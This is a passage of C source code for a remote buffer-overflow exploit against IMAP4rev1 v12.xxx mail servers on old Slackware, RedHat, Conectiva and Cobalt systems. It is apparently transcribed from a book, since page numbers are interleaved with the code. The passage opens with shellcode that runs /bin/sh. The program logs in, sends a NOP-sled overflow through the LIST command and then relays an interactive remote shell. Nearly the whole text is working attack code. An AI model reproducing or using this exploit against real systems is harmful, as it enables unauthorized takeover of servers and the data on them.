"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
"\xff\xff\x03\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f"
"\x69\x64\x3b\x2f\x62\x69\x6e\x2f\x73\x68\x03\x2d"
"\x63\x02\x2f\x62\x69\x6e\x2f\x73\x68\x01";
usage(char *program) {
printf("Usage: %s <host> <user> <pass> <system> [offset]\n\n", program);
printf("Avaiable systems:\n\n");
printf(" 1. Slackware 4.0 [IMAP4rev1 v12.250]\n");
printf(" 2. Slackware 7.0 [IMAP4rev1 v12.261]\n");
printf(" 3. Slackware 7.0 (Portuguese) [IMAP4rev1 v12.261]\n");
printf(" 4. Slackware 7.1 [IMAP4rev1 v12.264]\n");
printf(" 5. RedHat 6.0 (Hedwig) [IMAP4rev1 v12.250]\n");
printf(" 6. RedHat 6.1 (Cartman) [IMAP4rev1 v12.250]\n");
printf(" 7. RedHat 6.2 (Zoot) [IMAP4rev1 v12.264]\n");
printf(" 8. Conectiva 4.0 [IMAP4rev1 v12.250]\n");
printf(" 9. Conectiva 4.2 [IMAP4rev1 v12.252]\n");
printf(" 10. Conectiva 5.0 [IMAP4rev1 v12.264]\n");
printf(" 11. Cobalt 5.0 (Pacifica) [IMAP4rev1 v12.250]\n\n");
exit(0);
}
main(int argc, char *argv[]) {
int offset, sock, maxfd, n, i, host, RET;
114
fd_set rset;
char buffer[TAMANHO], msg[BUFSIZ], buf[BUFSIZ];
long retaddr;
struct hostent *he;
struct sockaddr_in sin;
printf("\nREMOTE EXPLOIT FOR IMAP4rev1 v12.xxx [jpassing and clorets]\n\n");
if(argc < 5) { usage(argv[0]); }
if(argc > 6) { usage(argv[0]); }
if(atoi(argv[4]) < 1) { usage(argv[0]); }
if(atoi(argv[4]) > 11) { usage(argv[0]); }
if(!strcmp(*(argv+4), "1")) {
RET = 0xbffff5a4;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; }
printf("Selected system: 1. Slackware 4.0 [IMAP4rev1 v12.250]\n\n");
}
if(!strcmp(*(argv+4), "2")) {
RET = 0xbffff3ec;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; }
printf("Selected system: 2. Slackware 7.0 [IMAP4rev1 v12.261]\n\n");
}
if(!strcmp(*(argv+4), "3")) {
RET = 0xbffff4d0;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 400; }
printf("Selected system: 3. Slackware 7.0 (Portuguese) [IMAP4rev1 v12.261]\n\n");
}
if(!strcmp(*(argv+4), "4")) {
RET = 0xbffff4e0;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; }
115
printf("Selected system: 4. Slackware 7.1 [IMAP4rev1 v12.264]\n\n");
}
if(!strcmp(*(argv+4), "5")) {
RET = 0xbffff7e4;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; }
printf("Selected system: 5. RedHat 6.0 (Hedwig) [IMAP4rev1 v12.250]\n\n");
}
if(!strcmp(*(argv+4), "6")) {
RET = 0xbffff91c;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 500; }
printf("Selected system: 6. RedHat 6.1 (Cartman) [IMAP4rev1 v12.250]\n\n");
}
if(!strcmp(*(argv+4), "7")) {
RET = 0xbffff697;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 0; }
printf("Selected system: 7. RedHat 6.2 (Zoot) [IMAP4rev1 v12.264]\n\n");
}
if(!strcmp(*(argv+4), "8")) {
RET = 0xbffff794;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 1000; }
printf("Selected system: 8. Conectiva 4.0 [IMAP4rev1 v12.250]\n\n");
}
if(!strcmp(*(argv+4), "9")) {
RET = 0xbffff910;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 1000; }
printf("Selected system: 9. Conectiva 4.2 [IMAP4rev1 v12.252]\n\n");
}
if(!strcmp(*(argv+4), "10")) {
116
RET = 0xbffff540;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; }
printf("Selected system: 10. Conectiva 5.0 [IMAP4rev1 v12.264]\n\n");
}
if(!strcmp(*(argv+4), "11")) {
RET = 0xbffff7e4;
if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; }
printf("Selected system: 11. Cobalt 5.0 (Pacifica) [IMAP4rev1 v12.250]\n\n");
}
if((he = gethostbyname(argv[1])) == NULL) {
printf("Cannot resolve host!\n\n");
exit(0);
}
host = inet_addr(argv[1]);
retaddr = RET ‐ offset;
for(i = 0; i < TAMANHO; i += 4) {
buffer[i + OFFSET] = (retaddr & 0x000000ff);
buffer[i + OFFSET + 1] = (retaddr & 0x0000ff00) >> 8;
buffer[i + OFFSET + 2] = (retaddr & 0x00ff0000) >> 16;
buffer[i + OFFSET + 3] = (retaddr & 0xff000000) >> 24;
}
sock = socket(AF_INET, SOCK_STREAM, 0);
bcopy(he‐>h_addr, (char *) &sin.sin_addr, he‐>h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(143);
if(connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == ‐1) {
perror("socket()");
printf("\n");
117
exit(0);
}
printf("Connected to %s.\n", argv[1]);
printf("Sending overflow...\n\n");
for(i = 0; i < (TAMANHO ‐ strlen(shellcode) ‐ 100); i++)
*(buffer + i) = NOP;
memcpy(buffer + i, shellcode, strlen(shellcode));
LIMPA(msg);
LE(sock, msg);
sprintf(msg, "1 login %s %s\n", argv[2], argv[3]);
write(sock, msg, strlen(msg));
LIMPA(msg);
LE(sock, msg);
sprintf(msg, "1 LIST \"\" {1060}\r\n");
write(sock, msg, strlen(msg));
LIMPA(msg);
LE(sock, msg);
write(sock, buffer, 1060);
write(sock, "\r\n", 2);
#define maximo(x, y) ((x)>(y)?(x):(y))
for(;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sock, &rset);
maxfd = maximo(fileno(stdin), sock) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)) {
bzero(msg, sizeof(msg));
fgets(msg, sizeof(msg) ‐ 2, stdin);
118
write(sock, msg, strlen(msg));
}
if(FD_ISSET(sock, &rset)) {
bzero(buf, sizeof(buf));
if((n = read(sock, buf, sizeof(buf))) == 0) exit(0);
if(n < 0) return ‐1;
printf("%s", buf);
}
}
}